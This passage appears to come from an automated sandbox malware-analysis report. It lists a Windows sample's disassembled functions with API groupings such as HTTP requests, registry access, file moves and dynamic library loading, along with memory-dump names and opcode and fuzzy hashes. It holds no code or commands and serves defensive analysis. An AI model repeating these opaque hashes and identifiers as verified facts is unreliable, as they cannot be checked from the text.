                                                          • Opcode ID: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
                                                          • Instruction ID: 064ec52ccdfca2a3e0b7964a968bd0e2c03d2df2659d70ac999dc83dd0881768
                                                          • Opcode Fuzzy Hash: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
                                                          • Instruction Fuzzy Hash: B541B4A3B2BE5381EA60CF258845179A2D1ABA7FD0B544631DE5EC3794FE2DED428300
                                                          Function 00007FF6A53EB62C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95filestringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: FileFullNamePath$MoveOperationlstrcmpiwcscat
                                                          • String ID: \*.*
                                                          • API String ID: 3196045410-1173974218
                                                          • Opcode ID: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
                                                          • Instruction ID: dbce4dbd643f5c4ff50971b7bf7de1134580852f1d6ccf8a146abe0518f0e683
                                                          • Opcode Fuzzy Hash: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
                                                          • Instruction Fuzzy Hash: C3412262A25A5395EB21DB24D8511FD27E0FFD7B88F800035DD4D97A9AEF28DE05C700
                                                          Function 00007FF6A53FD914 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                          • String ID:
                                                          • API String ID: 3113390036-3916222277
                                                          • Opcode ID: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
                                                          • Instruction ID: cbcb8516a1f0df0d44ef3cb8c367977130180a551ea85d8f893ddda2f94730b1
                                                          • Opcode Fuzzy Hash: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
                                                          • Instruction Fuzzy Hash: 0131C922A2DA4242FB60DF11A4146BE6750FFC6F80F585531DE4D9BB59EE3CD816CB00
                                                          Function 00007FF6A54193E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowlibraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                          • String ID: SysAnimate32
                                                          • API String ID: 4146253029-1011021900
                                                          • Opcode ID: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
                                                          • Instruction ID: 0a04e8edb292b3f538adb93698722f5c6cb0ea97f1ab57e16ab9878416535581
                                                          • Opcode Fuzzy Hash: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
                                                          • Instruction Fuzzy Hash: 90318B72A0A7C1CAE760CF25E444BAA77A0FB86B90F544239DA5D87B84DF3CD844CB10
                                                          Function 00007FF6A5399164 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AddressFreeHandleLibraryModuleProc
                                                          • String ID: CorExitProcess$mscoree.dll
                                                          • API String ID: 4061214504-1276376045
                                                          • Opcode ID: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
                                                          • Instruction ID: a842e3df71a33240a699246afa18b4054553efff1c4d6387b181fd3761409bf0
                                                          • Opcode Fuzzy Hash: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
                                                          • Instruction Fuzzy Hash: A2F0FF62A2BB4281EE44DB15F49427D63A1FF89F90F881075E94FC6664DF7CD889C700
                                                          Function 00007FF6A53B89B4 Relevance: 7.8, APIs: 5, Instructions: 265COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 03f3b3863cf3428f55316b0c9d809bb68f76fa44e49f8ab79cf537312fbddc30
                                                          • Instruction ID: 0aaddb3de43a824226eae3d8a5195a1677b27f4cef6a1c3d56036c790c4007bc
                                                          • Opcode Fuzzy Hash: 03f3b3863cf3428f55316b0c9d809bb68f76fa44e49f8ab79cf537312fbddc30
                                                          • Instruction Fuzzy Hash: 9FA1EB63B2AF8265EB20EF5094103B9A791EF82FA4F554635DA1D867C6EFBCDC448300
                                                          Function 00007FF6A54045A4 Relevance: 7.8, APIs: 5, Instructions: 250networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ErrorLasthtonsinet_ntoa
                                                          • String ID:
                                                          • API String ID: 2227131780-0
                                                          • Opcode ID: 5b2ad49302d4a2b1c507d75d33fa7b7189618e8a8e4b11512c6d5030d303cc88
                                                          • Instruction ID: fb4ce81ea511e3c8936569f74a750e79ac75761ad402eb1680d3c3bbc393cf36
                                                          • Opcode Fuzzy Hash: 5b2ad49302d4a2b1c507d75d33fa7b7189618e8a8e4b11512c6d5030d303cc88
                                                          • Instruction Fuzzy Hash: C5A1C222E1AA8286EB54EB26D4502BD6790FFD6F94F504531DE4EC7796EE3CE900C700
                                                          Function 00007FF6A540E838 Relevance: 7.7, APIs: 5, Instructions: 207COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Process$CloseCountersCurrentHandleOpen
                                                          • String ID:
                                                          • API String ID: 3488606520-0
                                                          • Opcode ID: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
                                                          • Instruction ID: 4c9511d4b8f1afa054b2ec5142f567b95cde6af69718061e429b724efef3fce7
                                                          • Opcode Fuzzy Hash: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
                                                          • Instruction Fuzzy Hash: 59819E22B1AA9285EB14DF62D4546AD37A0FB9AFD4F048035DE0D9BB96DF3CD811C740
                                                          Function 00007FF6A53AED08 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
                                                          • Instruction ID: a64441c0a20baec96d25fb98f824eda9ee1f96eb252c6c47a3fc84f32ce9915d
                                                          • Opcode Fuzzy Hash: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
                                                          • Instruction Fuzzy Hash: E781BE22A2AA5289FF20DB2594806BD37A0FF96F84F414135DE0E87795EF3EAC41D710
                                                          Function 00007FF6A54102DC Relevance: 7.7, APIs: 5, Instructions: 159registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                          • String ID:
                                                          • API String ID: 3451389628-0
                                                          • Opcode ID: 691312c536ed5a5190e96cd71ae10e3c08779eec4a1cb34223bdb74b078f91cb
                                                          • Instruction ID: c21292c21de25a166c103a7ddcc3633d35c2c1f08014ff0269fe3b8b0a37c1fd
                                                          • Opcode Fuzzy Hash: 691312c536ed5a5190e96cd71ae10e3c08779eec4a1cb34223bdb74b078f91cb
                                                          • Instruction Fuzzy Hash: AB715C72F1AA42DAEB10DF65D0903FC2760FB86B88F404531DA0D97A96DF38E915C794
                                                          Function 00007FF6A53AE67C Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
                                                          • String ID:
                                                          • API String ID: 3659116390-0
                                                          • Opcode ID: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
                                                          • Instruction ID: 5bba63c542e021e61efb6b7afd7d71e889c39bf6917dd746dceea953205fdeb9
                                                          • Opcode Fuzzy Hash: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
                                                          • Instruction Fuzzy Hash: 0251E032A25A5189EB11CB65E4843AC3BB4FB8AF98F048135DF5E87799EF39D841C700
                                                          Function 00007FF6A540D0F8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6A540C2BF), ref: 00007FF6A540D176
                                                          • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6A540C2BF), ref: 00007FF6A540D217
                                                          • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6A540C2BF), ref: 00007FF6A540D236
                                                          • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6A540C2BF), ref: 00007FF6A540D281
                                                          • FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6A540C2BF), ref: 00007FF6A540D2A0
                                                            • Part of subcall function 00007FF6A5394120: WideCharToMultiByte.KERNEL32 ref: 00007FF6A5394160
                                                            • Part of subcall function 00007FF6A5394120: WideCharToMultiByte.KERNEL32 ref: 00007FF6A539419C
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
                                                          • String ID:
                                                          • API String ID: 666041331-0
                                                          • Opcode ID: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
                                                          • Instruction ID: bcbfe8f208d6a372389c9e614bee9ae4a93724721c1db6f3666305c3f033eebb
                                                          • Opcode Fuzzy Hash: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
                                                          • Instruction Fuzzy Hash: 00514436A26F12C5EB00DF66E8801AC73A0FB9AF84B564436DE0E87355EF38E845C300
                                                          Function 00007FF6A53E670C Relevance: 7.6, APIs: 5, Instructions: 135COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Variant$Clear$ChangeInitType
                                                          • String ID:
                                                          • API String ID: 4136290138-0
                                                          • Opcode ID: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
                                                          • Instruction ID: 194ae39493ee018c17e4e177c7cf660e8e642c1c06035a395305411a34b79ea0
                                                          • Opcode Fuzzy Hash: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
                                                          • Instruction Fuzzy Hash: 09514273626A9992DB50CF16E4947AD33B4FB95F80F428126CB4E87764EF39E858C700
                                                          Function 00007FF6A53B2998 Relevance: 7.6, APIs: 5, Instructions: 133COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
                                                          • Instruction ID: 8c67cbd85d908906befed5af091fd8410976c393a23e16bef5076bf02c33a92f
                                                          • Opcode Fuzzy Hash: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
                                                          • Instruction Fuzzy Hash: 4651B56262AF8285EA60EF11944057977A4EF82FA0F168331FA6D876D5EE7CDD41C700
                                                          Function 00007FF6A53F96A8 Relevance: 7.6, APIs: 5, Instructions: 128COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: PrivateProfile$SectionWrite$String
                                                          • String ID:
                                                          • API String ID: 2832842796-0
                                                          • Opcode ID: 2eda81d762d230ab681f8ff631b0a0e129c05847289e9336ab9b6e41296e3470
                                                          • Instruction ID: 4fd8610bd52e06f0a43cb8dda9163fcf628539b05370924b92547980e70c7c70
                                                          • Opcode Fuzzy Hash: 2eda81d762d230ab681f8ff631b0a0e129c05847289e9336ab9b6e41296e3470
                                                          • Instruction Fuzzy Hash: 4551F966A29F4682DB14DF26E49016D7760FBC9F94B049432EE8E8B766DF3CD8448740
                                                          Function 00007FF6A53DD924 Relevance: 7.6, APIs: 5, Instructions: 91sleepwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessagePostSleep$RectWindow
                                                          • String ID:
                                                          • API String ID: 3382505437-0
                                                          • Opcode ID: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
                                                          • Instruction ID: 43be411bb7177cfdb1b5cff2cae6f800e2d4f29bfb0bd6d67f84666a91e15f85
                                                          • Opcode Fuzzy Hash: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
                                                          • Instruction Fuzzy Hash: 3831D03661865586E710CB29E44826D73A1E789FA8F404631EE9ACB798DE3DEC418700
                                                          Function 00007FF6A53F3824 Relevance: 7.6, APIs: 5, Instructions: 89windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Message$Translate$AcceleratorDispatchInputPeekState
                                                          • String ID:
                                                          • API String ID: 2256411358-0
                                                          • Opcode ID: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
                                                          • Instruction ID: d8510affbbc16a3160ebea587685df35c1f482c5f2ab56737f029e962efabd49
                                                          • Opcode Fuzzy Hash: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
                                                          • Instruction Fuzzy Hash: 36412121D2FA8287FBA5CB24B4587BA2A90EF93F44F140175D54DCA5A5EF2DEC89C700
                                                          Function 00007FF6A5372370 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ObjectSelect$BeginCreatePath
                                                          • String ID:
                                                          • API String ID: 3225163088-0
                                                          • Opcode ID: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
                                                          • Instruction ID: 7cdd82719943a1ead449d820637dfc9563dfc0d24b6e23c46b027b2886d4b4fc
                                                          • Opcode Fuzzy Hash: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
                                                          • Instruction Fuzzy Hash: 99315831E2AB62CAE344CB01E8447397AA0FB86F90F544139E94DC6A55DF7CEC41CB00
                                                          Function 00007FF6A5402E64 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
